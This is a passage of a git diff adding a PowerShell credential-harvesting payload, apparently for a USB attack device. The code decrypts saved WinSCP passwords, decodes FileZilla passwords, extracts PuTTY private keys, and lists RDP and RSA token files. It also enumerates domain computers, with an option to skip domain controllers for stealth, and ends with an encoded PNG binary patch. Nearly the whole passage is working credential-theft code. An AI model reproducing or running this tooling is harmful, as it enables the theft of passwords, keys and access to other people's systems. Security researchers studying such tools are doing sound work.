((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword) + + # If the user is not using a master password, we can crack it: + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + # Else, the user is using a master password. We can't retrieve plaintext credentials for it. + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + } + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For each Session in AllWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Format-List | Out-String + } + + # Add the array of WinSCP session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + +} # ProcessWinSCPLocal + +function ProcesssdtidFile($sdtidExtensionFilesINodes) { + + foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) { + + $sdtidFileObject = "" | Select-Object -Property "Source","Path" + + $sdtidFileObject."Source" = $Source + $sdtidFileObject."Path" = $Path + + [void]$ArrayOfsdtidFiles.Add($sdtidFileObject) + + } + + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process sdtid File + +function ProcessRDPFile($RDPExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes + foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) { + + $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session" + + $RDPFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object + $RDPFileObject."Path" = $Path + $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + + if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) { + $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host" + } else { + $RDPFileObject."Administrative Session" = "Connects to admin session on remote host" + } + if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) { + $RDPFileObject."Prompts for Credentials" = "No" + } else { + $RDPFileObject."Prompts for Credentials" = "Yes" + } + + [void]$ArrayOfRDPFiles.Add($RDPFileObject) + + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process RDP File + +function ProcessPPKFile($PPKExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes + foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) { + + # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is + $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC" + + $PPKFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object + $PPKFileObject."Path" = $Path + + $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {} + $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {} + $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {} + + # Add the object we just created to the array of .ppk file objects + [void]$ArrayOfPPKFiles.Add($PPKFileObject) + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process PPK File + +function ProcessFileZillaFile($FileZillaXML) { + + # Locate all nodes (aka session nodes), iterate over them + foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) { + # Hashtable to store each session's data + $FileZillaSessionHash = @{} + + # Iterates over each child node under (aka session) + $FileZillaSession.ChildNodes | ForEach-Object { + + $FileZillaSessionHash["Source"] = $Source + # If value exists, make a key-value pair for it in the hash table + if ($_.InnerText) { + if ($_.Name -eq "Pass") { + $FileZillaSessionHash["Password"] = $_.InnerText + } else { + # Populate session data based on the node name + $FileZillaSessionHash[$_.Name] = $_.InnerText + } + + } + + } + + # Create object from collected data, excluding some trivial information + [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour)) + + } # ForEach FileZillaSession in FileZillaXML.SelectNodes() + + # base64_decode the stored encoded session passwords, and decode protocol + foreach ($Session in $ArrayOfFileZillaSessions) { + $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password)) + if ($Session.Protocol -eq "0") { + $Session.Protocol = "Use FTP over TLS if available" + } elseif ($Session.Protocol -eq 1) { + $Session.Protocol = "Use SFTP" + } elseif ($Session.Protocol -eq 3) { + $Session.Protocol = "Require implicit FTP over TLS" + } elseif ($Session.Protocol -eq 4) { + $Session.Protocol = "Require explicit FTP over TLS" + } elseif ($Session.Protocol -eq 6) { + $Session.Protocol = "Only use plain FTP (insecure)" + } + } + + if ($OutCSV) { + $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation + } else { + Write-Output "FileZilla Sessions" + $ArrayOfFileZillaSessions | Format-List | Out-String + } + + # Add the array of FileZilla session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions + +} # ProcessFileZillaFile + +function ProcessSuperPuTTYFile($SuperPuTTYXML) { + + foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) { + + foreach ($SuperPuTTYSession in $SuperPuTTYSessions) { + if ($SuperPuTTYSession -ne $null) { + + $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session" + + $SuperPuTTYSessionObject."Source" = $Source + $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId + $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName + $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host + $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username + $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs + $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port + $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession + + [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject) + } + } + + } # ForEach SuperPuTTYSessions + + if ($OutCSV) { + $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation + } else { + Write-Output "SuperPuTTY Sessions" + $ArrayOfSuperPuTTYSessions | Out-String + } + + # Add the array of SuperPuTTY session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions + +} # ProcessSuperPuTTYFile + +#################################################################################### +#################################################################################### +## WinSCP Deobfuscation Helper Functions +#################################################################################### +#################################################################################### + +# Gets all domain-joined computer names and properties in one object +function GetComputersFromActiveDirectory { + + $objDomain = New-Object System.DirectoryServices.DirectoryEntry + $objSearcher = New-Object System.DirectoryServices.DirectorySearcher + $objSearcher.SearchRoot = $objDomain + if ($ExcludeDC) { + Write-Verbose "Skipping enumeration against the Domain Controller(s) for stealth." + $Filter = "(&(objectCategory=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))" + } else { + $Filter = "(objectCategory=computer)" + } + + $objSearcher.Filter = $Filter + + $colProplist = "name" + + foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} + + $objSearcher.FindAll() + +} + +function DecryptNextCharacterWinSCP($remainingPass) { + + # Creates an object with flag and remainingPass properties + $flagAndPass = "" | Select-Object -Property flag,remainingPass + + # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions + $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16) + $secondval = "0123456789ABCDEF".indexOf($remainingPass[1]) + + $Added = $firstval + $secondval + + $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256 + + $flagAndPass.flag = $decryptedResult + $flagAndPass.remainingPass = $remainingPass.Substring(2) + + $flagAndPass + +} + +function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) { + + $CheckFlag = 255 + $Magic = 163 + + $len = 0 + $key = $SessionHostname + $SessionUsername + $values = DecryptNextCharacterWinSCP($Password) + + $storedFlag = $values.flag + + if ($values.flag -eq $CheckFlag) { + $values.remainingPass = $values.remainingPass.Substring(2) + $values = DecryptNextCharacterWinSCP($values.remainingPass) + } + + $len = $values.flag + + $values = DecryptNextCharacterWinSCP($values.remainingPass) + $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2)) + + $finalOutput = "" + for ($i=0; $i -lt $len; $i++) { + $values = (DecryptNextCharacterWinSCP($values.remainingPass)) + $finalOutput += [char]$values.flag + } + + if ($storedFlag -eq $CheckFlag) { + $finalOutput.Substring($key.length) + } + + $finalOutput +} \ No newline at end of file diff --git a/payloads/library/credentials/SessionBunny/censorepic.png b/payloads/library/credentials/SessionBunny/censorepic.png new file mode 100644 index 0000000000000000000000000000000000000000..fedc54fdbd2ab89215404c2e554f6a236039d92d GIT binary patch literal 52557 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 